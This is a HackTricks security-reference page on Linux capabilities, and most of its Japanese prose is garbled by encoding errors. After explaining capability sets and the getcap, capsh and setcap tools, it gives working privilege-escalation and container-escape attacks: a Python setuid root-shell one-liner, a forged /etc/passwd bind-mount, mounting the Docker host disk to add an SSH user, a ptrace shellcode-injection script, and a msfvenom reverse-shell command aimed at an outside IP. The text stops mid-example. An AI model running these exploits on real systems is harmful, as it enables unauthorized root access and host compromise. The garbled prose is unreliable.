Linux Capabilities
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
Linux Capabilities
Linux capabilitiesã¯rootæš©éãããå°ãããæç¢ºãªåäœã«åå²ããããã»ã¹ãç¹å®ã®æš©éã®ãµãã»ãããæã€ããšãå¯èœã«ããŸããããã«ãããäžèŠã«å®å šãªrootæš©éãä»äžããããšãªããªã¹ã¯ãæå°éã«æããŸãã
åé¡:
- éåžžã®ãŠãŒã¶ãŒã¯å¶éãããæš©éãæã¡ãrootã¢ã¯ã»ã¹ãå¿ èŠãšãããããã¯ãŒã¯ãœã±ããã®ãªãŒãã³ãªã©ã®ã¿ã¹ã¯ã«åœ±é¿ãäžããŸãã
æš©éã»ãã:
- Inherited (CapInh):
- ç®ç: 芪ããã»ã¹ããåŒãç¶ãããæš©éãæ±ºå®ããŸãã
- æ©èœ: æ°ããããã»ã¹ãäœæããããšããã®ã»ããããèŠªã®æš©éãåŒãç¶ããŸããããã»ã¹ã®çæéã§ç¹å®ã®æš©éãç¶æããã®ã«åœ¹ç«ã¡ãŸãã
- å¶é: ããã»ã¹ã¯ã芪ãæã£ãŠããªãã£ãæš©éãåŸãããšã¯ã§ããŸããã
- Effective (CapEff):
- ç®ç: ããã»ã¹ãçŸåšå©çšããŠããå®éã®æš©éã衚ããŸãã
- æ©èœ: ããŸããŸãªæäœã®èš±å¯ãäžããããã«ã«ãŒãã«ã«ãã£ãŠãã§ãã¯ãããæš©éã®ã»ããã§ãããã¡ã€ã«ã«å¯ŸããŠã¯ããã®ã»ããããã¡ã€ã«ã®èš±å¯ãããæš©éãæå¹ã§ãããã©ããã瀺ããã©ã°ã«ãªãããšããããŸãã
- éèŠæ§: æå¹ãªã»ããã¯å³æã®æš©éãã§ãã¯ã«ãšã£ãŠéèŠã§ãããããã»ã¹ã䜿çšã§ããæš©éã®ã¢ã¯ãã£ããªã»ãããšããŠæ©èœããŸãã
- Permitted (CapPrm):
- ç®ç: ããã»ã¹ãæã€ããšãã§ããæå€§ã®æš©éã®ã»ãããå®çŸ©ããŸãã
- æ©èœ: ããã»ã¹ã¯ãèš±å¯ãããã»ããããæå¹ãªã»ããã«æš©éãææ Œããããã®æš©éã䜿çšã§ããããã«ããŸãããŸããèš±å¯ãããã»ããããæš©éãåé€ããããšãã§ããŸãã
- å¢ç: ããã»ã¹ãæã€ããšãã§ããæš©éã®äžéãšããŠæ©èœããããã»ã¹ãäºåã«å®çŸ©ãããæš©éã®ç¯å²ãè¶ ããªãããã«ããŸãã
- Bounding (CapBnd):
- ç®ç: ããã»ã¹ãã©ã€ããµã€ã¯ã«ã®éã«ååŸã§ããæš©éã«äžéãèšããŸãã
- æ©èœ: ããã»ã¹ãåŒãç¶ãå¯èœãŸãã¯èš±å¯ãããã»ããã«ç¹å®ã®æš©éãæã£ãŠããŠãããã®æš©éãããŠã³ãã£ã³ã°ã»ããã«ãå«ãŸããŠããªãéãããã®æš©éãååŸããããšã¯ã§ããŸããã
- 䜿çšäŸ: ãã®ã»ããã¯ãããã»ã¹ã®æš©éææ Œã®å¯èœæ§ãå¶éããã®ã«ç¹ã«åœ¹ç«ã¡ã远å ã®ã»ãã¥ãªãã£å±€ãæäŸããŸãã
- Ambient (CapAmb):
- ç®ç: éåžžã¯ããã»ã¹ã®æš©éãå®å
šã«ãªã»ããããã
execveã·ã¹ãã ã³ãŒã«ãéããŠãç¹å®ã®æš©éãç¶æã§ããããã«ããŸãã - æ©èœ: é¢é£ãããã¡ã€ã«æš©éãæããªãéSUIDããã°ã©ã ãç¹å®ã®æš©éãä¿æã§ããããã«ããŸãã
- å¶é: ãã®ã»ããã®æš©éã¯ãåŒãç¶ãå¯èœããã³èš±å¯ãããã»ããã®å¶çŽãåããããã»ã¹ã®èš±å¯ãããæš©éãè¶ ããªãããã«ããŸãã
# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')
ããã«æ å ±ã«ã€ããŠã¯ã次ã確èªããŠãã ããïŒ
- https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work
- https://blog.ploetzli.ch/2014/understanding-linux-capabilities/
ããã»ã¹ãšãã€ããªã®èœå
ããã»ã¹ã®èœå
ç¹å®ã®ããã»ã¹ã®èœåã確èªããã«ã¯ã/proc ãã£ã¬ã¯ããªå
ã® status ãã¡ã€ã«ã䜿çšããŸãã詳现ãå€ããããLinux ã®èœåã«é¢é£ããæ
å ±ã®ã¿ã«å¶éããŸãããã
ãã¹ãŠã®å®è¡äžã®ããã»ã¹ã®èœåæ
å ±ã¯ã¹ã¬ããããšã«ç¶æããããã¡ã€ã«ã·ã¹ãã å
ã®ãã€ããªã«ã¯æ¡åŒµå±æ§ã«ä¿åãããŠããŸãã
/usr/include/linux/capability.h ã«å®çŸ©ãããŠããèœåãèŠã€ããããšãã§ããŸãã
çŸåšã®ããã»ã¹ã®èœå㯠cat /proc/self/status ã§ãä»ã®ãŠãŒã¶ãŒã®èœå㯠/proc/<pid>/status ã§ç¢ºèªã§ããŸãã
cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process
ãã®ã³ãã³ãã¯ã»ãšãã©ã®ã·ã¹ãã ã§5è¡ãè¿ãã¯ãã§ãã
- CapInh = ç¶æ¿ãããèœå
- CapPrm = èš±å¯ãããèœå
- CapEff = å®å¹èœå
- CapBnd = ããŠã³ãã£ã³ã°ã»ãã
- CapAmb = ã¢ã³ããšã³ãèœåã»ãã
#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
ãããã®16鲿°ã¯æå³ãæããŸãããcapshãŠãŒãã£ãªãã£ã䜿çšããŠãããããèœååã«ãã³ãŒãã§ããŸãã
capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
ã§ã¯ãpingã«ãã£ãŠäœ¿çšãããcapabilitiesã確èªããŸãããïŒ
cat /proc/9491/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
å®è¡äžã®ããã»ã¹ã®èœåã確èªããã«ã¯ãgetpcapsããŒã«ã䜿çšãããã®åŸã«ããã»ã¹IDïŒPIDïŒãç¶ããŠå ¥åããŸãããŸããããã»ã¹IDã®ãªã¹ããæäŸããããšãã§ããŸãã
getpcaps 1234
ããã§ããã€ããªã«ååãªæš©éïŒcap_net_admin ãš cap_net_rawïŒãäžããåŸã® tcpdump ã®æ©èœã確èªããŸãããïŒtcpdump ã¯ããã»ã¹ 9562 ã§å®è¡äžïŒïŒ
#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep
$ cat /proc/9562/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000003000
CapEff: 0000000000003000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
äžããããèœåã¯ããã€ããªã®èœåãååŸãã2ã€ã®æ¹æ³ã®çµæã«å¯Ÿå¿ããŠããŸãã
_getpcaps_ããŒã«ã¯ãç¹å®ã®ã¹ã¬ããã®å©çšå¯èœãªèœåãç
§äŒããããã«**capget()**ã·ã¹ãã ã³ãŒã«ã䜿çšããŸãããã®ã·ã¹ãã ã³ãŒã«ã¯ãããå€ãã®æ
å ±ãååŸããããã«PIDãæäŸããã ãã§æžã¿ãŸãã
ãã€ããªã®èœå
ãã€ããªã¯ãå®è¡äžã«äœ¿çšã§ããèœåãæã€ããšããããŸããäŸãã°ãpingãã€ããªãcap_net_rawèœåãæã£ãŠããã®ã¯éåžžã«äžè¬çã§ãïŒ
getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep
ãã€ããªãèœåã§æ€çŽ¢ããã«ã¯ã次ã®ã³ãã³ãã䜿çšããŸã:
getcap -r / 2>/dev/null
capshã䜿ã£ãèœåã®åé€
CAPNET_RAWã®èœåã_pingããåé€ãããšãpingãŠãŒãã£ãªãã£ã¯ãã¯ãæ©èœããªããªãã¯ãã§ãã
capsh --drop=cap_net_raw --print -- -c "tcpdump"
_capsh_èªäœã®åºåã«å ããŠã_tcpdump_ã³ãã³ãèªäœããšã©ãŒãåŒãèµ·ããã¹ãã§ãã
/bin/bash: /usr/sbin/tcpdump: æäœãèš±å¯ãããŠããŸãã
ãã®ãšã©ãŒã¯ãpingã³ãã³ããICMPãœã±ãããéãããšãèš±å¯ãããŠããªãããšãæç¢ºã«ç€ºããŠããŸããããã§ããããæåŸ éãã«æ©èœããããšã確å®ã«ãªããŸããã
èœåã®åé€
ãã€ããªã®èœåãåé€ããã«ã¯ã
setcap -r </path/to/binary>
ãŠãŒã¶ãŒã®èœå
æããã«ãŠãŒã¶ãŒã«ãèœåãå²ãåœãŠãããšãå¯èœã§ããããã¯ããããããŠãŒã¶ãŒã«ãã£ãŠå®è¡ããããã¹ãŠã®ããã»ã¹ããã®ãŠãŒã¶ãŒã®èœåã䜿çšã§ããããšãæå³ããŸãã
ããããããããã³ããã«åºã¥ããŠããŠãŒã¶ãŒã«ç¹å®ã®èœåãäžããããã«ããã€ãã®ãã¡ã€ã«ãæ°ãã«æ§æããå¿
èŠããããŸãããåãŠãŒã¶ãŒã«èœåãå²ãåœãŠããã¡ã€ã«ã¯/etc/security/capability.confã§ãã
ãã¡ã€ã«ã®äŸ:
# Simple
cap_sys_ptrace developer
cap_net_raw user1
# Multiple capablities
cap_net_admin,cap_net_raw jrnetadmin
# Identical, but with numeric values
12,13 jrnetadmin
# Combining names and numerics
cap_sys_admin,22,25 jrsysadmin
ç°å¢ã®èœå
次ã®ããã°ã©ã ãã³ã³ãã€ã«ããããšã§ãèœåãæäŸããç°å¢å ã§bashã·ã§ã«ãçæããããšãå¯èœã§ãã
/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>
static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash
ã³ã³ãã€ã«ãããç°å¢ãã€ããªã«ãã£ãŠå®è¡ãããbashå ã§ã¯ãæ°ããèœåã芳å¯ããããšãã§ããŸãïŒéåžžã®ãŠãŒã¶ãŒã¯ãçŸåšãã®ã»ã¯ã·ã§ã³ã«èœåãæã£ãŠããŸããïŒã
capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
Caution
ããªãã¯èš±å¯ãããã»ãããšç¶æ¿å¯èœãªã»ããã®äž¡æ¹ã«ååšããèœåã®ã¿ã远å ã§ããŸãã
èœå察å¿/èœåç¡èŠãã€ããª
èœå察å¿ãã€ããªã¯ãç°å¢ã«ãã£ãŠäžããããæ°ããèœåã䜿çšããŸããããèœåç¡èŠãã€ããªã¯ãããã䜿çšããŸããããã¯ãèœåç¡èŠãã€ããªãããããæåŠããªãããã§ããããã«ãããç¹å®ã®ç°å¢å ã§ãã€ããªã«èœåãä»äžããããšãã§ãããããèœåç¡èŠãã€ããªãè匱ã«ãªããŸãã
ãµãŒãã¹ã®èœå
ããã©ã«ãã§ã¯ãrootãšããŠå®è¡ããããµãŒãã¹ã¯ãã¹ãŠã®èœåãå²ãåœãŠãããŸãããããå±éºãªå ŽåããããŸãã
ãããã£ãŠããµãŒãã¹æ§æãã¡ã€ã«ã§ã¯ãæããããèœåãšããµãŒãã¹ãå®è¡ãã¹ããŠãŒã¶ãŒãæå®ããããšãã§ããäžèŠãªç¹æš©ã§ãµãŒãã¹ãå®è¡ããªãããã«ããŸãã
[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE
Dockerã³ã³ããã®èœå
ããã©ã«ãã§ã¯ãDockerã¯ã³ã³ããã«ããã€ãã®èœåãå²ãåœãŠãŸãããããã®èœåãäœã§ãããã確èªããã®ã¯éåžžã«ç°¡åã§ããæ¬¡ã®ã³ãã³ããå®è¡ããŸã:
docker run --rm -it r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap
# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash
# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash
# Remove all and add only one
docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash
Privesc/Container Escape
Capabilitiesã¯ãç¹æš©æäœãå®è¡ããåŸã«èªåã®ããã»ã¹ãå¶éãããå Žåã«äŸ¿å©ã§ãïŒäŸïŒchrootãèšå®ãããœã±ããã«ãã€ã³ãããåŸïŒãããããæªæã®ããã³ãã³ããåŒæ°ãæž¡ãããšã§ãrootãšããŠå®è¡ãããå¯èœæ§ããããŸãã
setcapã䜿çšããŠããã°ã©ã ã«èœåã匷å¶ããgetcapã䜿çšããŠãããç
§äŒã§ããŸãïŒ
#Set Capability
setcap cap_net_raw+ep /sbin/ping
#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep
+epã¯ã广çãã€èš±å¯ãããèœåã远å ããŠããããšãæå³ããŸãïŒã-ãã¯ãããåé€ããŸãïŒã
ã·ã¹ãã ãŸãã¯ãã©ã«ããŒå ã®èœåãæã€ããã°ã©ã ãç¹å®ããã«ã¯ïŒ
getcap -r / 2>/dev/null
Exploitation example
次ã®äŸã§ã¯ããã€ã㪠/usr/bin/python2.6 ãç¹æš©ææ Œã«å¯ŸããŠè匱ã§ããããšãããããŸã:
setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep
#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'
Capabilities ã tcpdump ã«å¿
èŠã§ãä»»æã®ãŠãŒã¶ãŒããã±ãããã¹ãããã£ã³ã°ã§ããããã«ããã«ã¯:
setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
â空âã®èœåã®ç¹å¥ãªã±ãŒã¹
From the docs: ããã°ã©ã ãã¡ã€ã«ã«ç©ºã®èœåã»ãããå²ãåœãŠãããšãã§ãããããå®è¡ããããã»ã¹ã®æå¹ããã³ä¿åãããã»ãããŠãŒã¶ãŒIDã0ã«å€æŽããset-user-ID-rootããã°ã©ã ãäœæããããšãå¯èœã§ããããã®ããã»ã¹ã«ã¯èœåãä»äžããŸãããèšãæããã°ãæ¬¡ã®æ¡ä»¶ãæºãããã€ããªãããå ŽåïŒ
- rootã«ãã£ãŠææãããŠããªã
SUID/SGIDããããèšå®ãããŠããªã- 空ã®èœåã»ãããèšå®ãããŠããïŒäŸïŒ
getcap myelfãmyelf =epãè¿ãïŒ
ãã®ãã€ããªã¯rootãšããŠå®è¡ãããŸãã
CAP_SYS_ADMIN
CAP_SYS_ADMINã¯éåžžã«åŒ·åãªLinuxã®èœåã§ããããã®åºç¯ãªç®¡çç¹æš©ã®ããã«ã»ãŒrootã¬ãã«ã«çãããšèŠãªãããŸããããã€ã¹ã®ããŠã³ããã«ãŒãã«æ©èœã®æäœãªã©ã«äœ¿çšãããŸããå
šã·ã¹ãã ãã·ãã¥ã¬ãŒãããã³ã³ããã«ã¯äžå¯æ¬ ã§ãããCAP_SYS_ADMINã¯ç¹æš©ææ Œãã·ã¹ãã ã®åŠ¥åã®å¯èœæ§ããããããç¹ã«ã³ã³ããåãããç°å¢ã§ã¯é倧ãªã»ãã¥ãªãã£äžã®èª²é¡ãåŒãèµ·ãããŸãããããã£ãŠããã®äœ¿çšã¯å³æ Œãªã»ãã¥ãªãã£è©äŸ¡ãšæ
éãªç®¡çãå¿
èŠãšããæå°ç¹æš©ã®ååã«åŸã£ãŠæ»æé¢ãæå°éã«æããããã«ãã¢ããªã±ãŒã·ã§ã³åºæã®ã³ã³ããã§ã¯ãã®èœåãåé€ããããšãåŒ·ãæšå¥šãããŸãã
ãã€ããªã®äŸ
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep
Pythonã䜿çšããŠãå®éã® passwd ãã¡ã€ã«ã®äžã«ä¿®æ£ããã passwd ãã¡ã€ã«ãããŠã³ãã§ããŸã:
cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file
ãããŠæåŸã«ãä¿®æ£ãã passwd ãã¡ã€ã«ã /etc/passwd ã« ããŠã³ã ããŸãïŒ
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)
ãããŠããã¹ã¯ãŒããpasswordãã䜿çšããŠ**su as root**ãå®è¡ã§ããŸãã
ç°å¢ã®äŸïŒDockerãã¬ã€ã¯ã¢ãŠãïŒ
Dockerã³ã³ããå ã§æå¹ãªèœåã確èªããã«ã¯ã次ã®ã³ãã³ãã䜿çšã§ããŸã:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
以åã®åºåã®äžã§ãSYS_ADMINæš©éãæå¹ã«ãªã£ãŠããã®ãããããŸãã
- ããŠã³ã
ããã«ãããDockerã³ã³ããã¯ãã¹ããã£ã¹ã¯ãããŠã³ãããèªç±ã«ã¢ã¯ã»ã¹ããããšãã§ããŸãïŒ
fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
- ãã«ã¢ã¯ã»ã¹
åã®æ¹æ³ã§ã¯ãdockerãã¹ãã®ãã£ã¹ã¯ã«ã¢ã¯ã»ã¹ããããšãã§ããŸããã
ãã¹ããsshãµãŒããŒãå®è¡ããŠããå Žåãdockerãã¹ããã£ã¹ã¯å
ã«ãŠãŒã¶ãŒãäœæããSSHçµç±ã§ã¢ã¯ã»ã¹ããããšãã§ããŸãïŒ
#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/
#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open
#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222
CAP_SYS_PTRACE
ããã¯ããã¹ãå
ã§å®è¡ãããŠããããã»ã¹å
ã«ã·ã§ã«ã³ãŒããæ³šå
¥ããããšã§ã³ã³ãããè±åºã§ããããšãæå³ããŸãã ãã¹ãå
ã§å®è¡ãããŠããããã»ã¹ã«ã¢ã¯ã»ã¹ããã«ã¯ãã³ã³ããã¯å°ãªããšã --pid=host ã§å®è¡ããå¿
èŠããããŸãã
CAP_SYS_PTRACE ã¯ãptrace(2) ã«ãã£ãŠæäŸããããããã°ããã³ã·ã¹ãã ã³ãŒã«ãã¬ãŒã¹æ©èœã䜿çšããèœåãä»äžããprocess_vm_readv(2) ã process_vm_writev(2) ã®ãããªã¯ãã¹ã¡ã¢ãªã¢ã¿ããåŒã³åºããå¯èœã«ããŸãã蚺æããã³ç£èŠç®çã«ã¯åŒ·åã§ãããCAP_SYS_PTRACE ã ptrace(2) ã«å¯Ÿããã»ãã¥ãªãã£å¶éçïŒäŸãã° seccomp ãã£ã«ã¿ïŒãªãã§æå¹ã«ãªã£ãŠããå Žåãã·ã¹ãã ã»ãã¥ãªãã£ãèããæãªãå¯èœæ§ããããŸããç¹ã«ãä»ã®ã»ãã¥ãªãã£å¶éãç¹ã« seccomp ã«ãã£ãŠèª²ããããå¶éãåé¿ããããã«æªçšãããå¯èœæ§ããããŸããããã¯ããã®ãããªæŠå¿µå®èšŒïŒPoCïŒã«ãã£ãŠç€ºãããŠããŸãã
ãã€ããªã䜿çšããäŸïŒpythonïŒ
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
ãã€ããªã䜿ã£ãäŸ (gdb)
gdb ãš ptrace æš©é:
/usr/bin/gdb = cap_sys_ptrace+ep
msfvenomã䜿çšããŠãgdbãä»ããŠã¡ã¢ãªã«æ³šå ¥ããã·ã§ã«ã³ãŒããäœæããŸãã以äžã®ã³ãã³ãã䜿çšããŠãã·ã§ã«ã³ãŒããçæã§ããŸãã
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f c
ãã®ã³ãã³ãã¯ãæå®ããIPã¢ãã¬ã¹ãšããŒãã䜿çšããŠãªããŒã¹ã·ã§ã«ãçæããŸããçæãããã·ã§ã«ã³ãŒããgdbã䜿çšããŠã¡ã¢ãªã«æ³šå ¥ããããšãã§ããŸãã
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf = b""
